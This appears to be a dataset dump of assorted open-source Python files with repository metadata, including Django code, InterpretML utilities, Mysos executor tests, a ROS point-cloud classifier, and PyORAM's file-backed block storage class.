#import speech_recognition as sr import wave import io import io, os from google.auth import environment_vars from google.cloud import speech class SpeechToText(object): def __init__(self, audio): self._audio = audio self._speech_client = speech.Client() def getFromGoogle(self): with io.BytesIO(self._audio) as audio_file: content = audio_file.read() sample = self._speech_client.sample( content, source_uri=None, encoding='LINEAR16') alternatives = sample.recognize('en-UK') for alternative in alternatives: return alternative.transcript

452

6

77

a851d9c85ce569c52aa4249c5fc22470cd0186ca

559

py

Python

cafeapp/migrations/0019_auto_20211208_1241.py

giranezafiacre/fabcafe-api

d4cd3e6b291c5b071c8c70c5deaac06f0182a664

[ "MIT" ]

null

cafeapp/migrations/0019_auto_20211208_1241.py

giranezafiacre/fabcafe-api

d4cd3e6b291c5b071c8c70c5deaac06f0182a664

[ "MIT" ]

null

cafeapp/migrations/0019_auto_20211208_1241.py

giranezafiacre/fabcafe-api

d4cd3e6b291c5b071c8c70c5deaac06f0182a664

[ "MIT" ]

null

# Generated by Django 3.2.9 on 2021-12-08 10:41 import datetime from django.db import migrations, models

23.291667

99

0.592129

# Generated by Django 3.2.9 on 2021-12-08 10:41 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cafeapp', '0018_auto_20211208_1228'), ] operations = [ migrations.RemoveField( model_name='user', name='email', ), migrations.AlterField( model_name='order', name='order_time_date', field=models.DateTimeField(default=datetime.datetime(2021, 12, 8, 12, 41, 23, 362870)), ), ]

0

429

23

b95fa9041a7cb8d7c72117a7a576a5a8c358e96d

4,006

py

Python

src/python/interpret/glassbox/ebm/utils.py

benediktwagner/interpret

a80e42fbaad7c25f4447b6f81137c53714eed710

[ "MIT" ]

2

2019-05-19T04:48:52.000Z

2019-05-25T14:50:48.000Z

src/python/interpret/glassbox/ebm/utils.py

benediktwagner/interpret

a80e42fbaad7c25f4447b6f81137c53714eed710

[ "MIT" ]

null

src/python/interpret/glassbox/ebm/utils.py

benediktwagner/interpret

a80e42fbaad7c25f4447b6f81137c53714eed710

[ "MIT" ]

null

# Copyright (c) 2019 Microsoft Corporation # Distributed under the MIT software license # TODO: Test EBMUtils from sklearn.utils.extmath import softmax import numpy as np import logging log = logging.getLogger(__name__) # TODO: Clean up

32.306452

84

0.628308

# Copyright (c) 2019 Microsoft Corporation # Distributed under the MIT software license # TODO: Test EBMUtils from sklearn.utils.extmath import softmax import numpy as np import logging log = logging.getLogger(__name__) # TODO: Clean up class EBMUtils: @staticmethod def gen_attributes(col_types, col_n_bins): # Create Python form of attributes # Undocumented. attributes = [None] * len(col_types) for col_idx, _ in enumerate(attributes): attributes[col_idx] = { # NOTE: Ordinal only handled at native, override. # 'type': col_types[col_idx], "type": "continuous", # NOTE: Missing not implemented at native, always set to false. "has_missing": False, "n_bins": col_n_bins[col_idx], } return attributes @staticmethod def gen_attribute_sets(attribute_indices): attribute_sets = [None] * len(attribute_indices) for i, indices in enumerate(attribute_indices): attribute_set = {"n_attributes": len(indices), "attributes": indices} attribute_sets[i] = attribute_set return attribute_sets @staticmethod def scores_by_attrib_set( X, attribute_sets, attribute_set_models, skip_attr_set_idxs=[] ): for set_idx, attribute_set in enumerate(attribute_sets): if set_idx in skip_attr_set_idxs: continue tensor = attribute_set_models[set_idx] # Get the current column(s) to process attr_idxs = attribute_set["attributes"] sliced_X = X[:, attr_idxs] scores = tensor[tuple(sliced_X.T)] yield set_idx, attribute_set, scores @staticmethod def decision_function( X, attribute_sets, attribute_set_models, intercept, skip_attr_set_idxs=[] ): if X.ndim == 1: X = X.reshape(1, X.shape[0]) # Foreach column, add log odds per instance score_vector = np.zeros(X.shape[0]) score_vector += intercept scores_gen = EBMUtils.scores_by_attrib_set( X, attribute_sets, attribute_set_models, skip_attr_set_idxs ) for _, _, scores in scores_gen: score_vector += scores if not np.all(np.isfinite(score_vector)): # pragma: no cover msg = "Non-finite values present in log odds vector." log.error(msg) raise Exception(msg) return score_vector @staticmethod def classifier_predict_proba(X, estimator, skip_attr_set_idxs=[]): log_odds_vector = EBMUtils.decision_function( X, estimator.attribute_sets_, estimator.attribute_set_models_, estimator.intercept_, skip_attr_set_idxs, ) log_odds_trans = np.c_[-log_odds_vector, log_odds_vector] scores = softmax(log_odds_trans, copy=True) return scores @staticmethod def classifier_predict(X, estimator, skip_attr_set_idxs=[]): scores = EBMUtils.classifier_predict_proba(X, estimator, skip_attr_set_idxs) return estimator.classes_[np.argmax(scores, axis=1)] @staticmethod def regressor_predict(X, estimator, skip_attr_set_idxs=[]): scores = EBMUtils.decision_function( X, estimator.attribute_sets_, estimator.attribute_set_models_, estimator.intercept_, skip_attr_set_idxs, ) return scores @staticmethod def gen_feature_name(attr_idxs, col_names): feature_name = [] for attribute_index in attr_idxs: feature_name.append(col_names[attribute_index]) feature_name = " x ".join(feature_name) return feature_name @staticmethod def gen_feature_type(attr_idxs, col_types): if len(attr_idxs) == 1: return col_types[attr_idxs[0]] else: return "pairwise"

3,344

398

22

c980129dfcca46c379ea366aa1fa15eee1b01ac4

187

py

Python

rdm/project_management/__init__.py

dheater/rdm

3e16b808cdcaa7860767fe99cd66997adc803c35

[ "MIT" ]

76

2018-05-09T09:53:18.000Z

2022-03-21T11:55:18.000Z

rdm/project_management/__init__.py

dheater/rdm

3e16b808cdcaa7860767fe99cd66997adc803c35

[ "MIT" ]

68

2018-03-24T10:03:09.000Z

2022-01-19T20:52:36.000Z

rdm/project_management/__init__.py

dheater/rdm

3e16b808cdcaa7860767fe99cd66997adc803c35

[ "MIT" ]

24

2018-06-21T19:52:58.000Z

2022-03-29T13:15:15.000Z

from .base import BaseBackend from .github import GitHubIssueBackend, GitHubPullRequestBackend __all__ = [ 'BaseBackend', 'GitHubIssueBackend', 'GitHubPullRequestBackend', ]

20.777778

64

0.764706

from .base import BaseBackend from .github import GitHubIssueBackend, GitHubPullRequestBackend __all__ = [ 'BaseBackend', 'GitHubIssueBackend', 'GitHubPullRequestBackend', ]

0

311d97d31b1653b39c0e6b386a057ec53766cdaa

6,030

py

Python

tests/executor/test_mysos_task_runner.py

programwithebay/ApacheMysos

f4f7e459a51e957eeeef989b3ecdaac29393fa45

[ "Apache-2.0" ]

1

2017-02-15T05:37:59.000Z

tests/executor/test_mysos_task_runner.py

benley/mysos

9c19f28eb7926002005e276ef8cabf24c7fe2edd

[ "Apache-2.0" ]

null

tests/executor/test_mysos_task_runner.py

benley/mysos

9c19f28eb7926002005e276ef8cabf24c7fe2edd

[ "Apache-2.0" ]

null

import os import signal import unittest from mysos.common.cluster import ClusterManager from mysos.common.testing import Fake from mysos.executor.noop_installer import NoopPackageInstaller from mysos.executor.mysos_task_runner import MysosTaskRunner from mysos.executor.task_runner import TaskError from mysos.executor.testing.fake import FakeTaskControl from kazoo.handlers.threading import SequentialThreadingHandler import pytest from twitter.common.concurrent import deadline from twitter.common.quantity import Amount, Time from twitter.common.zookeeper.serverset.endpoint import Endpoint, ServiceInstance from zake.fake_client import FakeClient from zake.fake_storage import FakeStorage if 'MYSOS_DEBUG' in os.environ: from twitter.common import log from twitter.common.log.options import LogOptions LogOptions.set_stderr_log_level('google:DEBUG') LogOptions.set_simple(True) log.init('mysos_tests')

28.990385

89

0.702819

import os import signal import unittest from mysos.common.cluster import ClusterManager from mysos.common.testing import Fake from mysos.executor.noop_installer import NoopPackageInstaller from mysos.executor.mysos_task_runner import MysosTaskRunner from mysos.executor.task_runner import TaskError from mysos.executor.testing.fake import FakeTaskControl from kazoo.handlers.threading import SequentialThreadingHandler import pytest from twitter.common.concurrent import deadline from twitter.common.quantity import Amount, Time from twitter.common.zookeeper.serverset.endpoint import Endpoint, ServiceInstance from zake.fake_client import FakeClient from zake.fake_storage import FakeStorage if 'MYSOS_DEBUG' in os.environ: from twitter.common import log from twitter.common.log.options import LogOptions LogOptions.set_stderr_log_level('google:DEBUG') LogOptions.set_simple(True) log.init('mysos_tests') class FakeStateManager(Fake): pass class TestTaskRunner(unittest.TestCase): def setUp(self): self._storage = FakeStorage(SequentialThreadingHandler()) self._client = FakeClient(storage=self._storage) self._client.start() self._self_instance = ServiceInstance(Endpoint("host", 10000)) self._state_manager = FakeStateManager() def tearDown(self): self._client.stop() def test_stop(self): task_control = FakeTaskControl() runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) runner.start() assert runner.stop() # Killed by SIGTERM. assert deadline(runner.join, Amount(1, Time.SECONDS)) == -signal.SIGTERM def test_demote(self): task_control = FakeTaskControl() runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) manager = ClusterManager(self._client, "/home/test/my_cluster") runner.start() self_member = manager.add_member(self._self_instance) # 'self_instance' becomes the master. manager.promote_member(self_member) runner.promoted.wait(1) another_member = manager.add_member(ServiceInstance(Endpoint("another_host", 10000))) # This demotes 'self_instance', which should cause runner to stop. manager.promote_member(another_member) assert deadline(runner.join, Amount(1, Time.SECONDS)) def test_reparent(self): task_control = FakeTaskControl() runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) manager = ClusterManager(self._client, "/home/test/my_cluster") runner.start() # Promote another instance. master = ServiceInstance(Endpoint("another_host", 10000)) another_member = manager.add_member(master) manager.promote_member(another_member) assert runner.master.get(True, 1) == master assert runner.stop() assert deadline(runner.join, Amount(1, Time.SECONDS)) def test_mysqld_error(self): task_control = FakeTaskControl(mysqld="exit 123") runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) runner.start() assert deadline(runner.join, Amount(1, Time.SECONDS)) == 123 def test_start_command_error(self): task_control = FakeTaskControl(start_cmd="exit 1") runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) with pytest.raises(TaskError) as e: runner.start() assert e.value.message.startswith("Failed to start MySQL task") def test_promote_command_error(self): task_control = FakeTaskControl(promote_cmd="exit 1") runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) manager = ClusterManager(self._client, "/home/test/my_cluster") runner.start() self_member = manager.add_member(self._self_instance) # 'self_instance' becomes the master. manager.promote_member(self_member) runner.promoted.wait(1) with pytest.raises(TaskError) as e: runner.join() assert e.value.message.startswith("Failed to promote the slave") def test_get_log_position(self): task_control = FakeTaskControl(position=1) runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) runner.start() assert runner.get_log_position() == 1 def test_get_log_position_error(self): task_control = FakeTaskControl(get_log_position_cmd="exit 1") runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) with pytest.raises(TaskError) as e: runner.get_log_position() assert (e.value.message == "Unable to get the slave's log position: " + "Command 'exit 1' returned non-zero exit status 1") def test_stop_interminable(self): cmd = """trap "echo Trapped SIGTERM!" TERM while : do sleep 60 done """ task_control = FakeTaskControl(mysqld=cmd) runner = MysosTaskRunner( self._self_instance, self._client, "/home/test/my_cluster", NoopPackageInstaller(), task_control, self._state_manager) task_control._mysqld = cmd runner.start() assert runner.stop(timeout=1) assert deadline(runner.join, Amount(1, Time.SECONDS)) == -signal.SIGKILL

4,756

32

320

a19e61972ecebe175f1b7437fdeac191ee97b06e

8,437

py

Python

scripts/object_recognition.py

SerenaXue/3D-Perception-Target-Identification

df1dfa8a2132c6fa90a9e8def636b65d9344ba9d

[ "MIT" ]

null

scripts/object_recognition.py

SerenaXue/3D-Perception-Target-Identification

df1dfa8a2132c6fa90a9e8def636b65d9344ba9d

[ "MIT" ]

null

scripts/object_recognition.py

SerenaXue/3D-Perception-Target-Identification

df1dfa8a2132c6fa90a9e8def636b65d9344ba9d

[ "MIT" ]

null

#!/usr/bin/env python import numpy as np import sklearn from sklearn.preprocessing import LabelEncoder import pickle from sensor_stick.srv import GetNormals from sensor_stick.features import compute_color_histograms from sensor_stick.features import compute_normal_histograms from visualization_msgs.msg import Marker from sensor_stick.marker_tools import * from sensor_stick.msg import DetectedObjectsArray from sensor_stick.msg import DetectedObject from sensor_stick.pcl_helper import * # Voxel Grid filter # PassThrough filter # RANSAC plane segmentation # Extract inliers/outliers # Outlier Removal Filter # Euclidean Clustering (perform a DBSCAN cluster search) # Callback function for your Point Cloud Subscriber if __name__ == '__main__': # TODO: ROS node initialization rospy.init_node('clustering', anonymous=True) # TODO: Create Subscribers pcl_sub = rospy.Subscriber("/sensor_stick/point_cloud", pc2.PointCloud2, pcl_callback, queue_size=1) # TODO: Create Publishers pcl_objects_pub = rospy.Publisher("/pcl_objects", PointCloud2, queue_size=1) pcl_table_pub = rospy.Publisher("/pcl_table", PointCloud2, queue_size=1) pcl_cluster_pub = rospy.Publisher("pcl_cluster", PointCloud2, queue_size=1) # Create Publishers # TODO: here you need to create two publishers # Call them object_markers_pub and detected_objects_pub # Have them publish to "/object_markers" and "/detected_objects" with # Message Types "Marker" and "DetectedObjectsArray" , respectively object_markers_pub = rospy.Publisher("/object_markers", Marker, queue_size=1) detected_objects_pub = rospy.Publisher("/detected_objects", DetectedObjectsArray, queue_size=1) # TODO: Load Model From disk model = pickle.load(open('model.sav', 'rb')) clf = model['classifier'] encoder = LabelEncoder() encoder.classes_ = model['classes'] scaler = model['scaler'] # Initialize color_list get_color_list.color_list = [] # TODO: Spin while node is not shutdown while not rospy.is_shutdown(): rospy.spin()

37.834081

106

0.733555

#!/usr/bin/env python import numpy as np import sklearn from sklearn.preprocessing import LabelEncoder import pickle from sensor_stick.srv import GetNormals from sensor_stick.features import compute_color_histograms from sensor_stick.features import compute_normal_histograms from visualization_msgs.msg import Marker from sensor_stick.marker_tools import * from sensor_stick.msg import DetectedObjectsArray from sensor_stick.msg import DetectedObject from sensor_stick.pcl_helper import * def get_normals(cloud): get_normals_prox = rospy.ServiceProxy('/feature_extractor/get_normals', GetNormals) return get_normals_prox(cloud).cluster # Voxel Grid filter def voxel_grid_downssampling(pcl_data, leaf_size): # Create a VoxelGrid filter object for our input point cloud vox = pcl_data.make_voxel_grid_filter() # Set the voxel (or leaf) size vox.set_leaf_size(leaf_size, leaf_size, leaf_size) return vox.filter() # PassThrough filter def passthrough(pcl_data, filter_axis, axis_min, axis_max): # Create a PassThrough filter object. passthrough = pcl_data.make_passthrough_filter() passthrough.set_filter_field_name(filter_axis) passthrough.set_filter_limits(axis_min, axis_max) return passthrough.filter() # RANSAC plane segmentation def ransac_plane_segmentation(pcl_data, pcl_sac_model_plane, pcl_sac_ransac, max_distance): # Create the segmentation object seg = pcl_data.make_segmenter() # Set the model you wish to fit seg.set_model_type(pcl_sac_model_plane) seg.set_method_type(pcl_sac_ransac) seg.set_distance_threshold(max_distance) return seg # Extract inliers/outliers def extract_cloud_objects_and_cloud_table(pcl_data, ransac_segmentation): inliers, coefficients = ransac_segmentation.segment() cloud_table = pcl_data.extract(inliers, negative=False) cloud_objects = pcl_data.extract(inliers, negative=True) return cloud_table,cloud_objects # Outlier Removal Filter def statistical_outlier_filtering(pcl_data, mean_k, tresh): outlier_filter = pcl_data.make_statistical_outlier_filter() outlier_filter.set_mean_k(mean_k) outlier_filter.set_std_dev_mul_thresh(tresh) return outlier_filter.filter() # Euclidean Clustering (perform a DBSCAN cluster search) def euclidean_clustering(white_cloud): tree = white_cloud.make_kdtree() # Create Cluster-Mask Point Cloud to visualize each cluster separately ec = white_cloud.make_EuclideanClusterExtraction() # Set tolerances for distance threshold # as well as minimum and maximum cluster size (in points) ec.set_ClusterTolerance(0.03) ec.set_MinClusterSize(100) ec.set_MaxClusterSize(10000) # Search the k-d tree for clusters ec.set_SearchMethod(tree) # Extract indices for each of the discovered clusters cluster_indices = ec.Extract() # now contains a list of indices for each cluster (a list of lists). In the next step, # you'll create a new point cloud # to visualize the clusters by assigning a color to each of them. #Assign a color corresponding to each segmented object in scene cluster_color = get_color_list(len(cluster_indices)) color_cluster_point_list = [] for j, indices in enumerate(cluster_indices): for i, indice in enumerate(indices): color_cluster_point_list.append([white_cloud[indice][0], white_cloud[indice][1], white_cloud[indice][2], rgb_to_float(cluster_color[j])]) #Create new cloud containing all clusters, each with unique color cluster_cloud = pcl.PointCloud_PointXYZRGB() cluster_cloud.from_list(color_cluster_point_list) return cluster_cloud,cluster_indices # Callback function for your Point Cloud Subscriber def pcl_callback(pcl_msg): # Exercise-2 TODOs: # TODO: Convert ROS msg to PCL data cloud = ros_to_pcl(pcl_msg) cloud = statistical_outlier_filtering(cloud, 10, 0.001) # TODO: Voxel Grid Downsampling LEAF_SIZE = 0.01 cloud = voxel_grid_downssampling(cloud, LEAF_SIZE) # TODO: PassThrough Filter filter_axis ='z' axis_min = 0.50 axis_max = 0.90 cloud = passthrough(cloud, filter_axis, axis_min, axis_max) filter_axis = 'x' axis_min = 0.30 axis_max = 1.0 cloud = passthrough(cloud, filter_axis, axis_min, axis_max) # TODO: RANSAC Plane Segmentation ransac_segmentation = ransac_plane_segmentation(cloud, pcl.SACMODEL_PLANE, pcl.SAC_RANSAC, 0.01) # TODO: Extract inliers and outliers cloud_table, cloud_objects = extract_cloud_objects_and_cloud_table(cloud, ransac_segmentation) # TODO: Euclidean Clustering white_cloud = XYZRGB_to_XYZ(cloud_objects) cluster_cloud,cluster_indices = euclidean_clustering(white_cloud) # TODO: Create Cluster-Mask Point Cloud to visualize each cluster separately # TODO: Convert PCL data to ROS messages ros_cluster_cloud = pcl_to_ros(cluster_cloud) ros_cloud_objects = pcl_to_ros(cloud_objects) ros_cloud_table = pcl_to_ros(cloud_table) # TODO: Publish ROS messages pcl_objects_pub.publish(ros_cloud_objects) pcl_table_pub.publish(ros_cloud_table) pcl_cluster_pub.publish(ros_cluster_cloud) # Exercise-3 TODOs: # Classify the clusters! (loop through each detected cluster one at a time) detected_objects_labels = [] detected_objects = [] # write a for loop to cycle through each of the segmented clusters for index, pts_list in enumerate(cluster_indices): # Grab the points for the cluster pcl_cluster = cloud_objects.extract(pts_list) # TODO: convert the cluster from pcl to ROS using helper function ros_cluster = pcl_to_ros(pcl_cluster) # Compute the associated feature vector # Extract histogram features chists = compute_color_histograms(ros_cluster, using_hsv=True) normals = get_normals(ros_cluster) nhists = compute_normal_histograms(normals) feature = np.concatenate((chists, nhists)) # Make the prediction, retrieve the label for the result # and add it to detected_objects_labels list prediction = clf.predict(scaler.transform(feature.reshape(1, -1))) label = encoder.inverse_transform(prediction)[0] detected_objects_labels.append(label) # Publish a label into RViz label_pos = list(white_cloud[pts_list[0]]) label_pos[2] += .4 object_markers_pub.publish(make_label(label,label_pos, index)) # Add the detected object to the list of detected objects. do = DetectedObject() do.label = label do.cloud = ros_cluster detected_objects.append(do) rospy.loginfo('Detected {} objects: {}'.format(len(detected_objects_labels), detected_objects_labels)) # Publish the list of detected objects # This is the output you'll need to complete the upcoming project! detected_objects_pub.publish(detected_objects) if __name__ == '__main__': # TODO: ROS node initialization rospy.init_node('clustering', anonymous=True) # TODO: Create Subscribers pcl_sub = rospy.Subscriber("/sensor_stick/point_cloud", pc2.PointCloud2, pcl_callback, queue_size=1) # TODO: Create Publishers pcl_objects_pub = rospy.Publisher("/pcl_objects", PointCloud2, queue_size=1) pcl_table_pub = rospy.Publisher("/pcl_table", PointCloud2, queue_size=1) pcl_cluster_pub = rospy.Publisher("pcl_cluster", PointCloud2, queue_size=1) # Create Publishers # TODO: here you need to create two publishers # Call them object_markers_pub and detected_objects_pub # Have them publish to "/object_markers" and "/detected_objects" with # Message Types "Marker" and "DetectedObjectsArray" , respectively object_markers_pub = rospy.Publisher("/object_markers", Marker, queue_size=1) detected_objects_pub = rospy.Publisher("/detected_objects", DetectedObjectsArray, queue_size=1) # TODO: Load Model From disk model = pickle.load(open('model.sav', 'rb')) clf = model['classifier'] encoder = LabelEncoder() encoder.classes_ = model['classes'] scaler = model['scaler'] # Initialize color_list get_color_list.color_list = [] # TODO: Spin while node is not shutdown while not rospy.is_shutdown(): rospy.spin()

6,167

0

177

131e860e18ee61e01c595fad8941bfb4fb5deb07

546

py

Python

examples/joinable_queue.py

cloudbutton/cloudbutton

1062693a6767badc6369a026e2b8ad011f27efbb

[ "Apache-2.0" ]

7

2020-05-28T11:54:12.000Z

2020-09-26T13:16:45.000Z

examples/joinable_queue.py

cloudbutton/cloudbutton

1062693a6767badc6369a026e2b8ad011f27efbb

[ "Apache-2.0" ]

3

2020-06-18T14:07:27.000Z

2020-06-18T14:07:28.000Z

examples/joinable_queue.py

cloudbutton/cloudbutton

1062693a6767badc6369a026e2b8ad011f27efbb

[ "Apache-2.0" ]

5

2020-04-29T09:29:52.000Z

2020-09-22T13:42:55.000Z

from cloudbutton.multiprocessing import Process, JoinableQueue if __name__ == '__main__': q = JoinableQueue() p = Process(target=worker, args=(q,)) p.start() for x in range(10): q.put(x) # uncomment to hang on the q.join #q.put(11) q.join() q.put(-1) # end loop p.join()

16.545455

62

0.532967

from cloudbutton.multiprocessing import Process, JoinableQueue def worker(q): working = True while working: x = q.get() # Do work that may fail assert x < 10 # Confirm task q.task_done() if x == -1: working = False if __name__ == '__main__': q = JoinableQueue() p = Process(target=worker, args=(q,)) p.start() for x in range(10): q.put(x) # uncomment to hang on the q.join #q.put(11) q.join() q.put(-1) # end loop p.join()

201

0

23

04c390e7857fb3752b53b9c2903420309b83a2b5

12,045

py

Python

src/pyoram/storage/block_storage_file.py

ghackebeil/PyORAM

53e109dfb1ecec52348a70ddc64fae65eea7490a

[ "MIT" ]

24

2016-04-14T14:27:37.000Z

2022-03-13T13:53:18.000Z

src/pyoram/storage/block_storage_file.py

ghackebeil/PyORAM

53e109dfb1ecec52348a70ddc64fae65eea7490a

[ "MIT" ]

4

2016-03-14T04:40:23.000Z

2016-06-01T04:37:18.000Z

src/pyoram/storage/block_storage_file.py

ghackebeil/PyORAM

53e109dfb1ecec52348a70ddc64fae65eea7490a

[ "MIT" ]

4

2016-03-16T23:53:24.000Z

2020-05-27T19:27:37.000Z

__all__ = ('BlockStorageFile',) import os import struct import logging import errno from multiprocessing.pool import ThreadPool import pyoram from pyoram.storage.block_storage import \ (BlockStorageInterface, BlockStorageTypeFactory) import tqdm import six from six.moves import xrange log = logging.getLogger("pyoram") class BlockStorageFile(BlockStorageInterface): """ A class implementing the block storage interface using a local file. """ _index_struct_string = "!LLL?" _index_offset = struct.calcsize(_index_struct_string) # This method is usually executed in another thread, so # do not attempt to handle exceptions because it will # not work. # # Define BlockStorageInterface Methods # @classmethod @classmethod @property @property @property @property @property @property BlockStorageTypeFactory.register_device("file", BlockStorageFile)

35.955224

92

0.532337

__all__ = ('BlockStorageFile',) import os import struct import logging import errno from multiprocessing.pool import ThreadPool import pyoram from pyoram.storage.block_storage import \ (BlockStorageInterface, BlockStorageTypeFactory) import tqdm import six from six.moves import xrange log = logging.getLogger("pyoram") class default_filesystem(object): open = open remove = os.remove stat = os.stat class BlockStorageFile(BlockStorageInterface): """ A class implementing the block storage interface using a local file. """ _index_struct_string = "!LLL?" _index_offset = struct.calcsize(_index_struct_string) def __init__(self, storage_name, threadpool_size=None, ignore_lock=False, _filesystem=default_filesystem): self._bytes_sent = 0 self._bytes_received = 0 self._filesystem = _filesystem self._ignore_lock = ignore_lock self._f = None self._pool = None self._close_pool = True self._async_write = None self._storage_name = storage_name self._f = self._filesystem.open(self.storage_name, "r+b") self._f.seek(0) self._block_size, self._block_count, user_header_size, locked = \ struct.unpack( BlockStorageFile._index_struct_string, self._f.read(BlockStorageFile._index_offset)) if locked and (not self._ignore_lock): self._f.close() self._f = None raise IOError( "Can not open block storage device because it is " "locked by another process. To ignore this check, " "initialize this class with the keyword 'ignore_lock' " "set to True.") self._user_header_data = bytes() if user_header_size > 0: self._user_header_data = \ self._f.read(user_header_size) self._header_offset = BlockStorageFile._index_offset + \ len(self._user_header_data) # TODO: Figure out why this is required for Python3 # in order to prevent issues with the # TopCachedEncryptedHeapStorage class. The # problem has something to do with bufferedio, # but it makes no sense why this fixes it (all # we've done is read above these lines). As # part of this, investigate whethor or not we # need the call to flush after write_block(s), # or if its simply connected to some Python3 # bug in bufferedio. self._f.flush() if not self._ignore_lock: # turn on the locked flag self._f.seek(0) self._f.write( struct.pack(BlockStorageFile._index_struct_string, self.block_size, self.block_count, len(self._user_header_data), True)) self._f.flush() if threadpool_size != 0: self._pool = ThreadPool(threadpool_size) def _check_async(self): if self._async_write is not None: self._async_write.get() self._async_write = None # TODO: Figure out why tests fail on Python3 without this if six.PY3: if self._f is None: return self._f.flush() def _schedule_async_write(self, args, callback=None): assert self._async_write is None if self._pool is not None: self._async_write = \ self._pool.apply_async(self._writev, (args, callback)) else: self._writev(args, callback) # This method is usually executed in another thread, so # do not attempt to handle exceptions because it will # not work. def _writev(self, chunks, callback): for i, block in chunks: self._f.seek(self._header_offset + i * self.block_size) self._f.write(block) if callback is not None: callback(i) def _prep_for_close(self): self._check_async() if self._close_pool and (self._pool is not None): self._pool.close() self._pool.join() self._pool = None if self._f is not None: if not self._ignore_lock: # turn off the locked flag self._f.seek(0) self._f.write( struct.pack(BlockStorageFile._index_struct_string, self.block_size, self.block_count, len(self._user_header_data), False)) self._f.flush() # # Define BlockStorageInterface Methods # def clone_device(self): f = BlockStorageFile(self.storage_name, threadpool_size=0, ignore_lock=True) f._pool = self._pool f._close_pool = False return f @classmethod def compute_storage_size(cls, block_size, block_count, header_data=None, ignore_header=False): assert (block_size > 0) and (block_size == int(block_size)) assert (block_count > 0) and (block_count == int(block_count)) if header_data is None: header_data = bytes() if ignore_header: return block_size * block_count else: return BlockStorageFile._index_offset + \ len(header_data) + \ block_size * block_count @classmethod def setup(cls, storage_name, block_size, block_count, initialize=None, header_data=None, ignore_existing=False, threadpool_size=None, _filesystem=default_filesystem): if (not ignore_existing): _exists = True try: _filesystem.stat(storage_name) except OSError as e: if e.errno == errno.ENOENT: _exists = False if _exists: raise IOError( "Storage location already exists: %s" % (storage_name)) if (block_size <= 0) or (block_size != int(block_size)): raise ValueError( "Block size (bytes) must be a positive integer: %s" % (block_size)) if (block_count <= 0) or (block_count != int(block_count)): raise ValueError( "Block count must be a positive integer: %s" % (block_count)) if (header_data is not None) and \ (type(header_data) is not bytes): raise TypeError( "'header_data' must be of type bytes. " "Invalid type: %s" % (type(header_data))) if initialize is None: zeros = bytes(bytearray(block_size)) initialize = lambda i: zeros try: with _filesystem.open(storage_name, "wb") as f: # create_index if header_data is None: f.write(struct.pack(BlockStorageFile._index_struct_string, block_size, block_count, 0, False)) else: f.write(struct.pack(BlockStorageFile._index_struct_string, block_size, block_count, len(header_data), False)) f.write(header_data) with tqdm.tqdm(total=block_count*block_size, desc="Initializing File Block Storage Space", unit="B", unit_scale=True, disable=not pyoram.config.SHOW_PROGRESS_BAR) as progress_bar: for i in xrange(block_count): block = initialize(i) assert len(block) == block_size, \ ("%s != %s" % (len(block), block_size)) f.write(block) progress_bar.update(n=block_size) except: # pragma: no cover _filesystem.remove(storage_name) # pragma: no cover raise # pragma: no cover return BlockStorageFile(storage_name, threadpool_size=threadpool_size, _filesystem=_filesystem) @property def header_data(self): return self._user_header_data @property def block_count(self): return self._block_count @property def block_size(self): return self._block_size @property def storage_name(self): return self._storage_name def update_header_data(self, new_header_data): self._check_async() if len(new_header_data) != len(self.header_data): raise ValueError( "The size of header data can not change.\n" "Original bytes: %s\n" "New bytes: %s" % (len(self.header_data), len(new_header_data))) self._user_header_data = bytes(new_header_data) self._f.seek(BlockStorageFile._index_offset) self._f.write(self._user_header_data) def close(self): self._prep_for_close() if self._f is not None: try: self._f.close() except OSError: # pragma: no cover pass # pragma: no cover self._f = None def read_blocks(self, indices): self._check_async() blocks = [] for i in indices: assert 0 <= i < self.block_count self._bytes_received += self.block_size self._f.seek(self._header_offset + i * self.block_size) blocks.append(self._f.read(self.block_size)) return blocks def yield_blocks(self, indices): self._check_async() for i in indices: assert 0 <= i < self.block_count self._bytes_received += self.block_size self._f.seek(self._header_offset + i * self.block_size) yield self._f.read(self.block_size) def read_block(self, i): self._check_async() assert 0 <= i < self.block_count self._bytes_received += self.block_size self._f.seek(self._header_offset + i * self.block_size) return self._f.read(self.block_size) def write_blocks(self, indices, blocks, callback=None): self._check_async() chunks = [] for i, block in zip(indices, blocks): assert 0 <= i < self.block_count assert len(block) == self.block_size, \ ("%s != %s" % (len(block), self.block_size)) self._bytes_sent += self.block_size chunks.append((i, block)) self._schedule_async_write(chunks, callback=callback) def write_block(self, i, block): self._check_async() assert 0 <= i < self.block_count assert len(block) == self.block_size self._bytes_sent += self.block_size self._schedule_async_write(((i, block),)) @property def bytes_sent(self): return self._bytes_sent @property def bytes_received(self): return self._bytes_received BlockStorageTypeFactory.register_device("file", BlockStorageFile)

10,442

70

581

81fad6a313131369b06b9a12a0f5f95247a51169

951

py

Python

goutham_assignment/Company/views.py

xWaterBottlex/kutumb-assignment

c5deb51342394dc7e2c996a24cdf5e2662ded796

[ "MIT" ]

null

goutham_assignment/Company/views.py

xWaterBottlex/kutumb-assignment

c5deb51342394dc7e2c996a24cdf5e2662ded796

[ "MIT" ]

3

2021-06-08T21:41:51.000Z

2022-01-13T02:49:13.000Z

goutham_assignment/Company/views.py

GouthamDoddi/kutumb-assignment

c5deb51342394dc7e2c996a24cdf5e2662ded796

[ "MIT" ]

null

from django.contrib.auth.mixins import LoginRequiredMixin from django.apps import apps from django.views.generic import DetailView, CreateView from django.http import HttpResponse, HttpRequest, request from django.core.signals import request_finished from django.dispatch import receiver Company = apps.get_model('Company', 'Company')

28.818182

58

0.660358

